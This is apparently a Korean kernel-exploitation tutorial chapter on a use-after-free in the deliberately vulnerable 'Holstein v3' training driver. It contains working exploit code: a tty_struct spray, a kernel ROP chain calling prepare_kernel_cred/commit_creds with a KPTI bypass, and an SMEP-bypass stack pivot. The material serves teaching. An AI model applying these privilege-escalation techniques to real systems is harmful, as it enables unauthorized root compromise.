이전 장에서는 Holstein 모듈의 Heap Overflow를 악용하여 권한을 상승시켰습니다. Holstein 모듈 개발자는 다시 한번 취약점을 수정하여 Holstein v3를 공개했습니다. 이 장에서는 개선된 Holstein 모듈 v3를 exploit 해보겠습니다.

패치 분석 및 취약점 조사

먼저 Holstein v3를 다운로드해 주세요.
v2와의 차이점은 크게 두 가지가 있습니다. 첫째, open에서 버퍼를 할당할 때 kzalloc이 사용되고 있습니다.

1
2
3
4
5
g_buf = kzalloc(BUFFER_SIZE, GFP_KERNEL);
if (!g_buf) {
printk(KERN_INFO "kmalloc failed");
return -ENOMEM;
}

kzallockmalloc과 마찬가지로 커널 힙에서 영역을 확보하지만, 그 후 내용을 0으로 초기화한다는 점이 다릅니다. 즉, malloc에 대한 calloc과 같은 위치에 있는 함수가 kzalloc입니다.
다음으로, readwrite에서 Heap Overflow가 발생하지 않도록 크기를 검사하고 있습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
static ssize_t module_read(struct file *file,
char __user *buf, size_t count,
loff_t *f_pos)
{
printk(KERN_INFO "module_read called\n");

if (count > BUFFER_SIZE) {
printk(KERN_INFO "invalid buffer size\n");
return -EINVAL;
}

if (copy_to_user(buf, g_buf, count)) {
printk(KERN_INFO "copy_to_user failed\n");
return -EINVAL;
}

return count;
}

static ssize_t module_write(struct file *file,
const char __user *buf, size_t count,
loff_t *f_pos)
{
printk(KERN_INFO "module_write called\n");

if (count > BUFFER_SIZE) {
printk(KERN_INFO "invalid buffer size\n");
return -EINVAL;
}

if (copy_from_user(g_buf, buf, count)) {
printk(KERN_INFO "copy_from_user failed\n");
return -EINVAL;
}

return count;
}

따라서, 이번 커널 모듈에서는 Heap Overflow를 일으킬 수 없습니다.

여기서 close의 구현을 살펴봅시다.

1
2
3
4
5
6
static int module_close(struct inode *inode, struct file *file)
{
printk(KERN_INFO "module_close called\n");
kfree(g_buf);
return 0;
}

g_buf가 더 이상 필요하지 않아 kfree로 해제하고 있지만, g_buf에는 여전히 포인터가 남아 있습니다. 만약 close한 후에 g_buf를 사용할 수 있다면, Use-after-Free가 발생합니다.

독자 중에는 "하지만 close하면 해당 fd에 대해 readwrite도 할 수 없으므로 Use-after-Free는 발생하지 않는다"라고 생각하는 분도 있을 것입니다. 확실히 맞는 말이지만, 여기서 커널 공간에서 동작하는 프로그램의 특징을 떠올려 봅시다.

커널 공간에서는 동일한 리소스를 여러 프로그램이 공유할 수 있습니다. Holstein 모듈도 하나의 프로그램만 open할 수 있는 것이 아니라, 여러 프로그램(혹은 하나의 프로그램)이 여러 번 open할 수 있습니다. 그렇다면 다음과 같은 사용법은 어떨까요?

1
2
3
4
int fd1 = open("/dev/holstein", O_RDWR);
int fd2 = open("/dev/holstein", O_RDWR);
close(fd1);
write(fd2, "Hello", 5);

첫 번째 open에서 g_buf가 확보되지만, 다시 open하므로 g_buf는 새로운 버퍼로 대체됩니다. (이전 g_buf는 해제되지 않은 채로 남아 메모리 누수가 발생합니다.) 그 다음 fd1close하므로, 여기서 g_buf가 해제됩니다. close한 단계에서 fd1은 사용할 수 없게 되지만, fd2는 여전히 유효하므로 fd2에 대해 읽고 쓸 수 있습니다. 그러면 이미 해제된 g_buf를 조작할 수 있게 되어, Use-after-Free가 발생함을 알 수 있습니다.

이처럼 커널 공간의 프로그램은 여러 프로그램이 자원을 공유한다는 점에 주의하여 설계하지 않으면 쉽게 취약점이 발생합니다.

늑대군

close할 때 포인터를 NULL로 지우거나, open할 때 g_buf가 이미 할당되어 있다면 실패하도록 설계하면, 적어도 이번과 같은 간단한 취약점은 막을 수 있었을 거야.
정말로 그것만으로 충분한지는 다음 장에서 알아볼게.

KASLR 우회

우선 커널의 베이스 주소와 g_buf의 주소를 유출해 봅시다.
취약점이 Use-after-Free로 바뀌었을 뿐, 이번에도 버퍼 크기가 0x400이므로 tty_struct를 사용할 수 있습니다.

kROP 실현

이제 ROP를 할 수 있는 상태가 되었습니다. 가짜 tty_operations를 준비하여 ROP chain으로 stack pivot하기만 하면 됩니다.
하지만 이전과 달리 Use-after-Free이기 때문에, 현재 사용할 수 있는 영역이 tty_struct와 겹쳐 있습니다. 당연히 ioctl 등으로 tty_operations를 사용할 때, tty_struct에서도 참조하지 않는 변수가 많이 있으며, 그곳을 ROP chain 영역이나 가짜 tty_operations로 사용해도 상관없습니다. 다만, 앞으로 공격에 사용하려는 구조체의 대부분을 파괴해 버리는 것은 나중에 의도하지 않은 버그를 유발할 가능성이 있으며, ROP chain의 크기나 구조에 큰 제약이 생길 수도 있습니다. 가능한 한 tty_struct와 ROP chain은 다른 영역에 확보하고 싶습니다.
그래서 이번에는 두 번째 Use-after-Free를 일으킵니다. 그렇다고 해도 g_buf는 하나이므로, 먼저 주소를 알고 있는 현재의 g_buf에 ROP chain과 가짜 tty_operations를 씁니다. 다음으로 별도의 Use-after-Free를 일으켜, 그쪽의 tty_struct 함수 테이블을 덮어씁니다. 이렇게 하면 tty_struct의 함수 테이블만 덮어쓰므로 안정적인 exploit이 가능합니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
// ROP chain
unsigned long *chain = (unsigned long*)&buf;
*chain++ = rop_pop_rdi;
*chain++ = 0;
*chain++ = addr_prepare_kernel_cred;
*chain++ = rop_pop_rcx;
*chain++ = 0;
*chain++ = rop_mov_rdi_rax_rep_movsq;
*chain++ = addr_commit_creds;
*chain++ = rop_bypass_kpti;
*chain++ = 0xdeadbeef;
*chain++ = 0xdeadbeef;
*chain++ = (unsigned long)&win;
*chain++ = user_cs;
*chain++ = user_rflags;
*chain++ = user_rsp;
*chain++ = user_ss;

// 가짜 tty_operations
*(unsigned long*)&buf[0x3f8] = rop_push_rdx_xor_eax_415b004f_pop_rsp_rbp;

write(fd2, buf, 0x400);

// 두 번째 Use-after-Free
int fd3 = open("/dev/holstein", O_RDWR);
int fd4 = open("/dev/holstein", O_RDWR);
if (fd3 == -1 || fd4 == -1)
fatal("/dev/holstein");
close(fd3);
for (int i = 50; i < 100; i++) {
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
if (spray[i] == -1) fatal("/dev/ptmx");
}

// 함수 테이블 포인터 덮어쓰기
read(fd4, buf, 0x400);
*(unsigned long*)&buf[0x18] = g_buf + 0x3f8 - 12*8;
write(fd4, buf, 0x20);

// RIP 제어
for (int i = 50; i < 100; i++) {
ioctl(spray[i], 0, g_buf - 8); // rsp=rdx; pop rbp;
}

권한 상승이 되면 성공입니다. 이 exploit은 여기에서 다운로드할 수 있습니다.

UAF를 이용한 권한 상승

이처럼 Heap Overflow나 Use-after-Free와 같은 취약점은 커널 공간에서는 많은 경우 사용자 공간의 동일한 취약점보다 쉽게 공격 가능합니다.
이는 커널 힙이 공유되어 있고, 함수 포인터 등을 가진 다양한 구조체를 공격에 이용할 수 있기 때문입니다. 반대로 말하면, Heap BOF나 UAF가 발생하는 객체와 같은 크기 대역에서 악용할 수 있는 구조체를 찾지 못하면 exploit은 어려워집니다.

부록: RIP 제어와 SMEP 우회

이번에는 모든 보안 기법을 우회했습니다.
이전 장에서도 잠깐 언급되었지만, SMAP가 비활성화되어 있고 SMEP가 활성화된 경우 지금까지와 조금 다른 간단한 기법을 사용할 수 있습니다. RIP 제어가 가능할 때, 다음과 같은 gadget을 사용하면 어떻게 될까요?

1
0xffffffff81516264: mov esp, 0x39000000; ret;

미리 사용자 공간의 0x39000000을 mmap으로 확보하여 ROP chain을 써두고, 이 gadget을 호출하면 stack pivot으로 사용자 공간에 설치된 ROP chain이 실행됩니다. 즉, 이 경우 커널 공간에 ROP chain을 두거나, 그 힙 영역의 주소를 얻는 등의 번거로운 작업이 필요 없게 됩니다.

주의할 점은, RSP는 8바이트 단위로 정렬된 주소여야 합니다. 스택 포인터가 정렬되어 있지 않은 상태에서 예외를 발생시키는 명령이 실행되면 충돌이 발생하기 때문입니다.
또한, commit_credsprepare_kernel_cred 등의 함수를 호출할 때는 스택이 소비되므로, 실제로는 0x39000000보다 앞(0x8000 바이트 정도 여유를 두면 충분)에서부터 확보합시다.

실제로 SMAP를 비활성화하고, 이러한 gadget으로 사용자 공간의 ROP chain에 stack pivot하여 권한 상승을 해보세요. 참고로 pivot 위치의 메모리를 mmap할 때 MAP_POPULATE 플래그를 붙이도록 합시다. 이를 붙임으로써 물리 메모리가 확보되어, KPTI가 활성화되어 있어도 이 맵을 커널에서 볼 수 있게 됩니다.


modprobe_path 덮어쓰기나 cred 구조체 덮어쓰기 등, ROP를 사용하지 않는 방법으로도 권한 상승을 해보세요.